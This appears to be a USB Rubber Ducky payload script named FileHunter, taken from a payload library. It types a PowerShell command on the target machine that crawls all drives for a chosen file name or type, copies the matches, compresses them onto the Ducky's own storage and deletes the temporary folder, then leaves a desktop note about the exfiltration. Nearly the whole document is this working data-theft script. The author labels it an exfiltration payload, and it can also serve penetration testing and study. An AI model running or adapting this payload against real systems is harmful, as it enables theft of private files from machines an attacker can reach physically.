Path: blob/master/payloads/library/exfiltration/FileHunter/payload.txt
2968 views
REM Title: FileHunter1REM Description: Crawls all drives of the target system for a specific file or file type, to then compress and exfiltrate them to the Ducky.2REM Author: 0i41E3REM Version: 1.04REM Category: Exfiltration5REM Attackmodes: HID, Storage67ATTACKMODE HID STORAGE89REM Extension made by Korben to increase speed10EXTENSION DETECT_READY11REM VERSION 1.112REM AUTHOR: Korben1314REM_BLOCK DOCUMENTATION15USAGE:16Extension runs inline (here)17Place at beginning of payload (besides ATTACKMODE) to act as dynamic18boot delay1920TARGETS:21Any system that reflects CAPSLOCK will detect minimum required delay22Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms23END_REM2425REM CONFIGURATION:26DEFINE #RESPONSE_DELAY 2527DEFINE #ITERATION_LIMIT 1202829VAR $C = 030WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))31CAPSLOCK32DELAY #RESPONSE_DELAY33$C = ($C + 1)34END_WHILE35CAPSLOCK36END_EXTENSION3738REM Extension by 0i41E, to signalize the successful execution of the payload39EXTENSION DETECT_FINISHED40REM VERSION 1.041REM AUTHOR: 0i41E4243REM_BLOCK DOCUMENTATION44USAGE:45Use the function Detect_Finished() to signal the finished execution of your payload.46END_REM4748REM CONFIGURATION:49DEFINE #PAUSE 15050FUNCTION Detect_Finished()51IF ($_CAPSLOCK_ON == FALSE)52CAPSLOCK53DELAY #PAUSE54CAPSLOCK55DELAY #PAUSE56CAPSLOCK57DELAY #PAUSE58CAPSLOCK59ATTACKMODE OFF60ELSE IF61CAPSLOCK62DELAY #PAUSE63CAPSLOCK64DELAY #PAUSE65CAPSLOCK66ATTACKMODE OFF67END_IF68END_FUNCTION69END_EXTENSION7071REM Define the file name or type by using a wildcard i.e. *.pdf72DEFINE #FILENAME example.jpg73DEFINE #NAME Ducky7475DELAY 100076GUI r77DELAY 50078STRINGLN powershell -nop -noni79REM You may want to add Windows_Elevated_Execution, if you want full access to all drives and directories80DELAY 200081STRINGLN_POWERSHELL82$out = ((gwmi win32_volume -f 'label=''#NAME''').Name)+"out.zip"83$dir = [System.IO.Path]::GetDirectoryName($out)84if (-not (Test-Path $dir)) {85New-Item -ItemType Directory -Path $dir86}87$store = "$env:TEMP\Found"88if (Test-Path $store) {89Remove-Item -Recurse -Force $store90}91New-Item -ItemType Directory -Path $store | Out-Null92Get-PSDrive -PSProvider FileSystem | ForEach-Object {93$drive = $_.Root94try {95Get-ChildItem -Path $drive -Recurse -Filter "#FILENAME" -ErrorAction SilentlyContinue |96ForEach-Object {97$dest = Join-Path -Path $store -ChildPath $_.Name98Copy-Item -Path $_.FullName -Destination $dest -Force99}100} catch {101Write-Host "Error: drive ${drive}: $_" -ForegroundColor Red102}103}104if (Test-Path $out) {105Remove-Item -Force $out106}107Write-Host -ForegroundColor Yellow "Saving files to Ducky. This may take a while..."108Compress-Archive -Path "$store\*" -DestinationPath $out109Remove-Item -Recurse -Force $store; echo "Certain of your Files where exfiltrated, using a Rubber Ducky (Identified as #NAME)" > $env:HOMEPATH\Desktop\fyi.txt110;(New-Object -ComObject wscript.shell).SendKeys('{CAPSLOCK}');ExIt111END_STRINGLN112DELAY 150113ENTER114DELAY 250115WAIT_FOR_CAPS_ON116DELAY 250117Detect_Finished()118119